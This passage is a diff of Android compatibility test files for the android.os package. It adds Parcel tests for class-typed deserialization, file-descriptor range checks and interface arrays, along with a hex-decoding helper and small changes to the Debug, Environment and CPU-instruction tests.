diff --git a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
index 780be99..3d4f396 100644
--- a/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
+++ b/tests/tests/os/src/android/os/cts/CpuInstructionsTest.java
@@ -41,8 +41,6 @@
 
         assertTrue("Machine does not support ARM swp instruction emulation",
                 CpuInstructions.hasSwp());
-        assertTrue("Machine does not support ARM setend instruction emulation",
-                CpuInstructions.hasSetend());
         assertTrue("Machine does not support ARM CP15 barrier emulation",
                 CpuInstructions.hasCp15Barriers());
     }
diff --git a/tests/tests/os/src/android/os/cts/DebugTest.java b/tests/tests/os/src/android/os/cts/DebugTest.java
index e504937..7747b3d 100644
--- a/tests/tests/os/src/android/os/cts/DebugTest.java
+++ b/tests/tests/os/src/android/os/cts/DebugTest.java
@@ -151,6 +151,7 @@
         assertTrue(Debug.getNativeHeapAllocatedSize() >= 0);
         assertTrue(Debug.getNativeHeapFreeSize() >= 0);
         assertTrue(Debug.getNativeHeapSize() >= 0);
+        assertTrue(Debug.getPss() >= 0);
         assertTrue(Debug.getThreadAllocCount() >= 0);
         assertTrue(Debug.getThreadAllocSize() >= 0);
         assertTrue(Debug.getThreadExternalAllocCount() >=0);
@@ -363,4 +364,9 @@
         checkNumber(summary_total_pss);
         checkNumber(summary_total_swap);
     }
+
+    public void testEnableEmulatorTraceOutput() {
+        // The API is no-op and deprecated.
+        Debug.enableEmulatorTraceOutput();
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 2ce40fe..9252f6ba 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -43,14 +43,11 @@
     }
 
     /**
-     * TMPDIR being set prevents apps from asking to have temporary files
-     * placed in their own storage, instead forcing their location to
-     * something OS-defined. If TMPDIR points to a global shared directory,
+     * If TMPDIR points to a global shared directory,
      * this could compromise the security of the files.
      */
     public void testNoTmpDir() {
-        assertNull("environment variable TMPDIR should not be set",
-                System.getenv("TMPDIR"));
+        assertTrue(System.getenv("TMPDIR").endsWith("android.os.cts/cache"));
     }
 
     /**
diff --git a/tests/tests/os/src/android/os/cts/HexEncoding.java b/tests/tests/os/src/android/os/cts/HexEncoding.java
new file mode 100644
index 0000000..ff49899
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/HexEncoding.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+/**
+ * Hexadecimal encoding where each byte is represented by two hexadecimal digits.
+ * Note that this is copied from android.keystore.cts.HexEncoding but only keep the
+ * needed part.
+ *
+ * @hide
+ */
+public class HexEncoding {
+
+  /** Hidden constructor to prevent instantiation. */
+  private HexEncoding() {}
+
+  /**
+   * Decodes the provided hexadecimal string into an array of bytes.
+   */
+  public static byte[] decode(String encoded) {
+    // IMPLEMENTATION NOTE: Special care is taken to permit odd number of hexadecimal digits.
+    int resultLengthBytes = (encoded.length() + 1) / 2;
+    byte[] result = new byte[resultLengthBytes];
+    int resultOffset = 0;
+    int encodedCharOffset = 0;
+    if ((encoded.length() % 2) != 0) {
+      // Odd number of digits -- the first digit is the lower 4 bits of the first result byte.
+      result[resultOffset++] = (byte) getHexadecimalDigitValue(encoded.charAt(encodedCharOffset));
+      encodedCharOffset++;
+    }
+    for (int len = encoded.length(); encodedCharOffset < len; encodedCharOffset += 2) {
+      result[resultOffset++] = (byte)
+          ((getHexadecimalDigitValue(encoded.charAt(encodedCharOffset)) << 4)
+          | getHexadecimalDigitValue(encoded.charAt(encodedCharOffset + 1)));
+    }
+    return result;
+  }
+
+  private static int getHexadecimalDigitValue(char c) {
+    if ((c >= 'a') && (c <= 'f')) {
+      return (c - 'a') + 0x0a;
+    } else if ((c >= 'A') && (c <= 'F')) {
+      return (c - 'A') + 0x0a;
+    } else if ((c >= '0') && (c <= '9')) {
+      return c - '0';
+    } else {
+      throw new IllegalArgumentException(
+          "Invalid hexadecimal digit at position : '" + c + "' (0x" + Integer.toHexString(c) + ")");
+    }
+  }
+}
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 46a4b0a..fa03ba0 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,6 +19,7 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
@@ -50,6 +51,11 @@
 
 import com.google.common.util.concurrent.AbstractFuture;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertThrows;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
 public class ParcelTest extends AndroidTestCase {
 
     public void testObtain() {
@@ -211,6 +217,18 @@
         p.recycle();
     }
 
+    public void testObtainWithBinder() {
+        Parcel p = Parcel.obtain(new Binder("anything"));
+        // testing does not throw an exception, Parcel still works
+
+        final int kTest = 17;
+        p.writeInt(kTest);
+        p.setDataPosition(0);
+        assertEquals(kTest, p.readInt());
+
+        p.recycle();
+    }
+
     public void testEnforceInterface() {
         Parcel p;
         String s = "IBinder interface token";
@@ -233,6 +251,21 @@
         p.recycle();
     }
 
+    public void testEnforceNoDataAvail(){
+        final Parcel p = Parcel.obtain();
+        p.writeInt(1);
+        p.writeString("test");
+
+        p.setDataPosition(0);
+        p.readInt();
+        Throwable error = assertThrows(BadParcelableException.class, () -> p.enforceNoDataAvail());
+        assertTrue(error.getMessage().contains("Parcel data not fully consumed"));
+
+        p.readString();
+        p.enforceNoDataAvail();
+        p.recycle();
+    }
+
     public void testMarshall() {
         final byte[] c = {Byte.MAX_VALUE, (byte) 111, (byte) 11, (byte) 1, (byte) 0,
                     (byte) -1, (byte) -11, (byte) -111, Byte.MIN_VALUE};
@@ -2036,6 +2069,76 @@
         p.recycle();
     }
 
+    public void testReadSerializableWithClass_whenNull(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        p.writeSerializable(null);
+        p.setDataPosition(0);
+        assertNull(p.readSerializable(mcl, Exception.class));
+
+        p.setDataPosition(0);
+        assertNull(p.readSerializable(null, Exception.class));
+        p.recycle();
+    }
+
+    public void testReadSerializableWithClass_whenNullClassLoader(){
+        Parcel p = Parcel.obtain();
+        TestSubException testSubException = new TestSubException("test");
+        p.writeSerializable(testSubException);
+        p.setDataPosition(0);
+        Throwable error = assertThrows(BadParcelableException.class, () ->
+                p.readSerializable(null, TestSubException.class));
+        assertTrue(error.getMessage().contains("ClassNotFoundException reading a Serializable"));
+        p.recycle();
+    }
+
+    public void testReadSerializableWithClass_whenSameClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        Throwable throwable = new Throwable("test");
+        p.writeSerializable(throwable);
+        p.setDataPosition(0);
+        Object object = p.readSerializable(mcl, Throwable.class);
+        assertTrue(object instanceof Throwable);
+        Throwable t1 = (Throwable) object;
+        assertEquals("test", t1.getMessage());
+
+        p.setDataPosition(0);
+        Object object1 = p.readSerializable(null, Throwable.class);
+        assertTrue(object1 instanceof Throwable);
+        Throwable t2 = (Throwable) object1;
+        assertEquals("test", t2.getMessage());
+        p.recycle();
+    }
+
+    public void testReadSerializableWithClass_whenSubClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        Exception exception = new Exception("test");
+        p.writeSerializable(exception);
+        p.setDataPosition(0);
+        Object object = p.readSerializable(mcl, Throwable.class);
+        assertTrue(object instanceof Exception);
+        Exception e1 = (Exception) object;
+        assertEquals("test", e1.getMessage());
+
+        p.setDataPosition(0);
+        Object object1 = p.readSerializable(null, Throwable.class);
+        assertTrue(object1 instanceof Exception);
+        Exception e2 = (Exception) object1;
+        assertEquals("test", e2.getMessage());
+
+        p.setDataPosition(0);
+        Object object2 = p.readSerializable(null, Object.class);
+        assertTrue(object1 instanceof Exception);
+        Exception e3 = (Exception) object2;
+        assertEquals("test", e3.getMessage());
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readSerializable(mcl, String.class));
+        p.recycle();
+    }
+
     public void testReadParcelable() {
         Parcel p;
         MockClassLoader mcl = new MockClassLoader();
@@ -2053,6 +2156,37 @@
         p.writeParcelable(s, 0);
         p.setDataPosition(0);
         assertEquals(s, p.readParcelable(mcl));
+
+        p.recycle();
+    }
+
+    public void testReadParcelableWithClass() {
+        Parcel p;
+        MockClassLoader mcl = new MockClassLoader();
+        final String signatureString  = "1234567890abcdef";
+        Signature s = new Signature(signatureString);
+
+        p = Parcel.obtain();
+        p.writeParcelable(s, 0);
+        p.setDataPosition(0);
+        assertEquals(s, p.readParcelable(mcl, Signature.class));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readParcelable(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadParcelableWithSubClass() {
+        Parcel p;
+
+        final TestSubIntent testSubIntent = new TestSubIntent(new Intent(), "Test");
+        p = Parcel.obtain();
+        p.writeParcelable(testSubIntent, 0);
+        p.setDataPosition(0);
+        assertEquals(testSubIntent, (p.readParcelable(getClass().getClassLoader(), Intent.class)));
+
+        p.setDataPosition(0);
+        assertEquals(testSubIntent, (p.readParcelable(getClass().getClassLoader(), Object.class)));
         p.recycle();
     }
 
@@ -2065,6 +2199,32 @@
         p.writeParcelableCreator(s);
         p.setDataPosition(0);
         assertSame(Signature.CREATOR, p.readParcelableCreator(mcl));
+
+        p.recycle();
+    }
+
+    public void testReadParcelableCreatorWithClass() {
+        MockClassLoader mcl = new MockClassLoader();
+        final String signatureString  = "1234567890abcdef";
+        Signature s = new Signature(signatureString);
+
+        Parcel p = Parcel.obtain();
+        p.writeParcelableCreator(s);
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readParcelableCreator(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadParcelableCreatorWithSubClass() {
+        final TestSubIntent testSubIntent = new TestSubIntent(new Intent(), "1234567890abcdef");
+
+        Parcel p = Parcel.obtain();
+        p.writeParcelableCreator(testSubIntent);
+
+        p.setDataPosition(0);
+        assertSame(TestSubIntent.CREATOR,
+                p.readParcelableCreator(getClass().getClassLoader(), Intent.class));
         p.recycle();
     }
 
@@ -2106,6 +2266,48 @@
         p.recycle();
     }
 
+    public void testReadParcelableArrayWithClass_whenNull() {
+        Parcel p = Parcel.obtain();
+        p.writeParcelableArray(null, 0);
+        p.setDataPosition(0);
+        assertNull(p.readParcelableArray(getClass().getClassLoader(), Intent.class));
+        p.recycle();
+    }
+
+    public void testReadParcelableArrayWithClass_whenSameClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        Signature[] s = {new Signature("1234"),
+                null,
+                new Signature("abcd")
+        };
+        p.writeParcelableArray(s, 0);
+        p.setDataPosition(0);
+        Parcelable[] s1 = p.readParcelableArray(mcl, Signature.class);
+        assertTrue(Arrays.equals(s, s1));
+        p.recycle();
+    }
+
+    public void testReadParcelableArrayWithClass_whenSubclasses() {
+        Parcel p = Parcel.obtain();
+        final Intent baseIntent = new Intent();
+        Intent[] intentArray = {
+                new TestSubIntent(baseIntent, "1234567890abcdef"),
+                null,
+                new TestSubIntent(baseIntent, "abcdef1234567890")
+        };
+
+        p.writeParcelableArray(intentArray, 0);
+        p.setDataPosition(0);
+        Parcelable[] s = p.readParcelableArray(getClass().getClassLoader(), Intent.class);
+        assertTrue(Arrays.equals(intentArray, s));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readParcelableArray(
+                getClass().getClassLoader(), Signature.class));
+        p.recycle();
+    }
+
     public void testReadTypedArray() {
         Parcel p;
         Signature[] s = {new Signature("1234"),
@@ -2320,6 +2522,23 @@
         p.recycle();
     }
 
+    public void testWriteTypedList() {
+        Parcel p = Parcel.obtain();
+        ArrayList<SimpleParcelable> list = new ArrayList<>();
+        SimpleParcelable spy = spy(new SimpleParcelable(42));
+        list.add(spy);
+        int flags = Parcelable.PARCELABLE_WRITE_RETURN_VALUE;
+        p.writeTypedList(list, flags);
+
+        verify(spy).writeToParcel(p, flags);
+
+        p.setDataPosition(0);
+        ArrayList<SimpleParcelable> read = p.createTypedArrayList(SimpleParcelable.CREATOR);
+        assertEquals(list.size(), read.size());
+        assertEquals(list.get(0).getValue(), read.get(0).getValue());
+        p.recycle();
+    }
+
     public void testCreateTypedArrayList() {
         Parcel p;
         ArrayList<Signature> s = new ArrayList<Signature>();
@@ -2470,6 +2689,148 @@
         p.recycle();
     }
 
+    public void testHasFileDescriptorInRange_outsideRange() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeInt(13);
+        int i1 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i2 = p.dataPosition();
+        p.writeString("Tiramisu");
+        int i3 = p.dataPosition();
+
+        assertFalse(p.hasFileDescriptors(i0, i1 - i0));
+        assertFalse(p.hasFileDescriptors(i2, i3 - i2));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_partiallyInsideRange() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeInt(13);
+        int i1 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i2 = p.dataPosition();
+        p.writeString("Tiramisu");
+        int i3 = p.dataPosition();
+
+        // It has to contain the whole object
+        assertFalse(p.hasFileDescriptors(i1, i2 - i1 - 1));
+        assertFalse(p.hasFileDescriptors(i1 + 1, i2 - i1));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_insideRange() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeInt(13);
+        int i1 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i2 = p.dataPosition();
+        p.writeString("Tiramisu");
+        int i3 = p.dataPosition();
+
+        assertTrue(p.hasFileDescriptors(i0, i2 - i0));
+        assertTrue(p.hasFileDescriptors(i1, i2 - i1));
+        assertTrue(p.hasFileDescriptors(i1, i3 - i1));
+        assertTrue(p.hasFileDescriptors(i0, i3 - i0));
+        assertTrue(p.hasFileDescriptors(i0, p.dataSize()));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_zeroLength() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeInt(13);
+        int i1 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i2 = p.dataPosition();
+        p.writeString("Tiramisu");
+        int i3 = p.dataPosition();
+
+        assertFalse(p.hasFileDescriptors(i1, 0));
+        p.recycle();
+    }
+
+    /**
+     * When we rewind the cursor using {@link Parcel#setDataPosition(int)} and write a FD, the
+     * internal representation of FDs in {@link Parcel} may lose the sorted property, so we test
+     * this case.
+     */
+    public void testHasFileDescriptorInRange_withUnsortedFdObjects() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeLongArray(new long[] {0, 0, 0, 0, 0, 0});
+        int i1 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        p.setDataPosition(0);
+        p.writeFileDescriptor(FileDescriptor.in);
+        p.setDataPosition(0);
+
+        assertTrue(p.hasFileDescriptors(i0, i1 - i0));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_limitOutOfBounds() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i1 = p.dataPosition();
+
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i0, i1 - i0 + 1));
+        assertThrows(IllegalArgumentException.class,
+                () -> p.hasFileDescriptors(0, p.dataSize() + 1));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_offsetOutOfBounds() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i1 = p.dataPosition();
+
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i1, 1));
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i1 + 1, 1));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_offsetOutOfBoundsAndZeroLength() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i1 = p.dataPosition();
+
+        assertFalse(p.hasFileDescriptors(i1, 0));
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i1 + 1, 0));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_zeroLengthParcel() {
+        Parcel p = Parcel.obtain();
+
+        assertFalse(p.hasFileDescriptors(0, 0));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_negativeLength() {
+        Parcel p = Parcel.obtain();
+        int i0 = p.dataPosition();
+        p.writeFileDescriptor(FileDescriptor.in);
+        int i1 = p.dataPosition();
+
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i0, -1));
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(i0, -(i1 - i0)));
+        p.recycle();
+    }
+
+    public void testHasFileDescriptorInRange_negativeOffset() {
+        Parcel p = Parcel.obtain();
+        p.writeFileDescriptor(FileDescriptor.in);
+
+        assertThrows(IllegalArgumentException.class, () -> p.hasFileDescriptors(-1, 1));
+        p.recycle();
+    }
+
     public void testReadBundle() {
         Bundle bundle = new Bundle();
         bundle.putBoolean("boolean", true);
@@ -2577,6 +2938,71 @@
         p.recycle();
     }
 
+    public void testReadArrayWithClass_whenNull(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        p.writeArray(null);
+        p.setDataPosition(0);
+        assertNull(p.readArray(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayWithClass_whenNonParcelableClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        String[] sArray = {"1234", null, "4321"};
+        p.writeArray(sArray);
+
+        p.setDataPosition(0);
+        Object[] objects = p.readArray(mcl, String.class);
+        assertTrue(Arrays.equals(sArray, objects));
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(
+                getClass().getClassLoader(), Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayWithClass_whenSameClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        Signature[] s = {new Signature("1234"),
+                null,
+                new Signature("abcd")};
+        p.writeArray(s);
+
+        p.setDataPosition(0);
+        Object[] s1 = p.readArray(mcl, Signature.class);
+        assertTrue(Arrays.equals(s, s1));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(
+                getClass().getClassLoader(), Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayWithClass_whenSubclasses(){
+        final Parcel p = Parcel.obtain();
+        final Intent baseIntent = new Intent();
+        Intent[] intentArray = {
+            new TestSubIntent(baseIntent, "1234567890abcdef"),
+            null,
+            new TestSubIntent(baseIntent, "abcdef1234567890")
+        };
+        p.writeArray(intentArray);
+
+        p.setDataPosition(0);
+        Object[] objects = p.readArray(getClass().getClassLoader(), Intent.class);
+        assertTrue(Arrays.equals(intentArray, objects));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(
+                getClass().getClassLoader(), Signature.class));
+        p.recycle();
+    }
+
     public void testReadArrayList() {
         Parcel p;
         MockClassLoader mcl = new MockClassLoader();
@@ -2606,6 +3032,78 @@
         p.recycle();
     }
 
+    public void testReadArrayListWithClass_whenNull(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        p.writeArray(null);
+        p.setDataPosition(0);
+        assertNull(p.readArrayList(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayListWithClass_whenNonParcelableClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        ArrayList<String> sArrayList = new ArrayList<>();
+        sArrayList.add("1234");
+        sArrayList.add(null);
+        sArrayList.add("4321");
+
+        p.writeList(sArrayList);
+        p.setDataPosition(0);
+        ArrayList<String> s1 = p.readArrayList(mcl, String.class);
+        assertEquals(sArrayList, s1);
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayListWithClass_whenSameClass(){
+        final Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        ArrayList<Signature> s = new ArrayList<>();
+        s.add(new Signature("1234567890abcdef"));
+        s.add(null);
+        s.add(new Signature("abcdef1234567890"));
+
+        p.writeList(s);
+        p.setDataPosition(0);
+        ArrayList<Signature> s1 = p.readArrayList(mcl, Signature.class);
+        assertEquals(s, s1);
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadArrayListWithClass_whenSubclasses(){
+        final Parcel p = Parcel.obtain();
+        final Intent baseIntent = new Intent();
+
+        ArrayList<Intent> intentArrayList = new ArrayList<>();
+        intentArrayList.add(new TestSubIntent(baseIntent, "1234567890abcdef"));
+        intentArrayList.add(null);
+        intentArrayList.add(new TestSubIntent(baseIntent, "abcdef1234567890"));
+
+        p.writeList(intentArrayList);
+        p.setDataPosition(0);
+        ArrayList<Intent> objects = p.readArrayList(getClass().getClassLoader(), Intent.class);
+        assertEquals(intentArrayList, objects);
+
+        p.setDataPosition(0);
+        ArrayList<Intent> objects1 = p.readArrayList(
+                getClass().getClassLoader(), TestSubIntent.class);
+        assertEquals(intentArrayList, objects1);
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readArray(
+                getClass().getClassLoader(), Signature.class));
+        p.recycle();
+    }
+
     @SuppressWarnings("unchecked")
     public void testWriteSparseArray() {
         Parcel p;
@@ -2641,6 +3139,84 @@
         p.recycle();
     }
 
+    public void testReadSparseArrayWithClass_whenNull(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        p.writeSparseArray(null);
+        p.setDataPosition(0);
+        assertNull(p.readSparseArray(mcl, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadSparseArrayWithClass_whenNonParcelableClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        SparseArray<String> s = new SparseArray<>();
+        s.put(0, "1234567890abcdef");
+        s.put(2, null);
+        s.put(3, "abcdef1234567890");
+        p.writeSparseArray(s);
+
+        p.setDataPosition(0);
+        SparseArray<String> s1 = p.readSparseArray(mcl, String.class);
+        assertNotNull(s1);
+        assertTrue(s.contentEquals(s1));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readSparseArray(
+                getClass().getClassLoader(), Intent.class));
+        p.recycle();
+    }
+
+    public void testReadSparseArrayWithClass_whenSameClass(){
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+
+        SparseArray<Signature> s = new SparseArray<>();
+        s.put(0, new Signature("1234567890abcdef"));
+        s.put(2, null);
+        s.put(3, new Signature("abcdef1234567890"));
+        p.writeSparseArray(s);
+
+        p.setDataPosition(0);
+        SparseArray<Signature> s1 = p.readSparseArray(mcl, Signature.class);
+        assertNotNull(s1);
+        assertTrue(s.contentEquals(s1));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readSparseArray(
+                getClass().getClassLoader(), Intent.class));
+        p.recycle();
+    }
+
+    public void testReadSparseArrayWithClass_whenSubclasses(){
+        final Parcel p = Parcel.obtain();
+        final Intent baseIntent = new Intent();
+        SparseArray<Intent> intentArray = new SparseArray<>();
+        intentArray.put(0, new TestSubIntent(baseIntent, "1234567890abcdef"));
+        intentArray.put(3, new TestSubIntent(baseIntent, "1234567890abcdef"));
+        p.writeSparseArray(intentArray);
+
+        p.setDataPosition(0);
+        SparseArray<Intent> sparseArray = p.readSparseArray(
+                getClass().getClassLoader(), Intent.class);
+        assertNotNull(sparseArray);
+        assertTrue(intentArray.contentEquals(sparseArray));
+
+        p.setDataPosition(0);
+        SparseArray<Intent> sparseArray1 = p.readSparseArray(
+                getClass().getClassLoader(), TestSubIntent.class);
+        assertNotNull(sparseArray1);
+        assertTrue(intentArray.contentEquals(sparseArray1));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readSparseArray(
+                getClass().getClassLoader(), Signature.class));
+        p.recycle();
+    }
+
     public void testWriteSparseBooleanArray() {
         Parcel p;
 
@@ -2885,6 +3461,249 @@
         p.recycle();
     }
 
+    public void testInterfaceArray() {
+        Parcel p;
+        MockIInterface[] iface2 = {new MockIInterface(), new MockIInterface(), null};
+        MockIInterface[] iface3 = new MockIInterface[iface2.length];
+        MockIInterface[] iface4 = new MockIInterface[iface2.length + 1];
+
+        p = Parcel.obtain();
+        p.writeInterfaceArray(null);
+        p.setDataPosition(0);
+        try {
+            // input array shouldn't be null
+            p.readInterfaceArray(null, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        try {
+            // can't read null array
+            p.readInterfaceArray(iface3, MockIInterface::asInterface);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        // null if parcel has null array
+        assertNull(p.createInterfaceArray(MockIInterface[]::new, MockIInterface::asInterface));
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeInterfaceArray(iface2);
+        p.setDataPosition(0);
+        try {
+            // input array shouldn't be null
+            p.readInterfaceArray(null, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        try {
+            // input array should be the same size
+            p.readInterfaceArray(iface4, MockIInterface::asInterface);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        try {
+            // asInterface shouldn't be null
+            p.readInterfaceArray(iface3, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        // read into input array with the exact size
+        p.readInterfaceArray(iface3, MockIInterface::asInterface);
+        for (int i = 0; i < iface3.length; i++) {
+            assertEquals(iface2[i], iface3[i]);
+        }
+
+        p.setDataPosition(0);
+        try {
+            // newArray/asInterface shouldn't be null
+            p.createInterfaceArray(null, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        // create a new array from parcel
+        MockIInterface[] iface5 =
+            p.createInterfaceArray(MockIInterface[]::new, MockIInterface::asInterface);
+        assertNotNull(iface5);
+        assertEquals(iface2.length, iface5.length);
+        for (int i = 0; i < iface5.length; i++) {
+            assertEquals(iface2[i], iface5[i]);
+        }
+        p.recycle();
+    }
+
+    public void testInterfaceList() {
+        Parcel p;
+        ArrayList<MockIInterface> arrayList = new ArrayList<>();
+        ArrayList<MockIInterface> arrayList2 = new ArrayList<>();
+        ArrayList<MockIInterface> arrayList3;
+        arrayList.add(new MockIInterface());
+        arrayList.add(new MockIInterface());
+        arrayList.add(null);
+
+        p = Parcel.obtain();
+        p.writeInterfaceList(null);
+        p.setDataPosition(0);
+        try {
+            // input list shouldn't be null
+            p.readInterfaceList(null, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        arrayList2.clear();
+        arrayList2.add(null);
+        try {
+            // can't read null list into non-empty list
+            p.readInterfaceList(arrayList2, MockIInterface::asInterface);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        arrayList2.clear();
+        // read null list into empty list
+        p.readInterfaceList(arrayList2, MockIInterface::asInterface);
+        assertEquals(0, arrayList2.size());
+
+        p.setDataPosition(0);
+        // null if parcel has null list
+        arrayList3 = p.createInterfaceArrayList(MockIInterface::asInterface);
+        assertNull(arrayList3);
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeInterfaceList(arrayList);
+        p.setDataPosition(0);
+        try {
+            // input list shouldn't be null
+            p.readInterfaceList(null, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        p.setDataPosition(0);
+        arrayList2.clear();
+        try {
+            // asInterface shouldn't be null
+            p.readInterfaceList(arrayList2, null);
+            fail("Should throw a RuntimeException");
+        } catch (RuntimeException e) {
+            //expected
+        }
+
+        p.setDataPosition(0);
+        arrayList2.clear();
+        // fill a list with parcel
+        p.readInterfaceList(arrayList2, MockIInterface::asInterface);
+        assertEquals(arrayList, arrayList2);
+
+        p.setDataPosition(0);
+        arrayList2.clear();
+        // add one more item
+        for (int i=0; i<arrayList.size() + 1; i++) {
+            arrayList2.add(null);
+        }
+        // extra item should be discarded after read
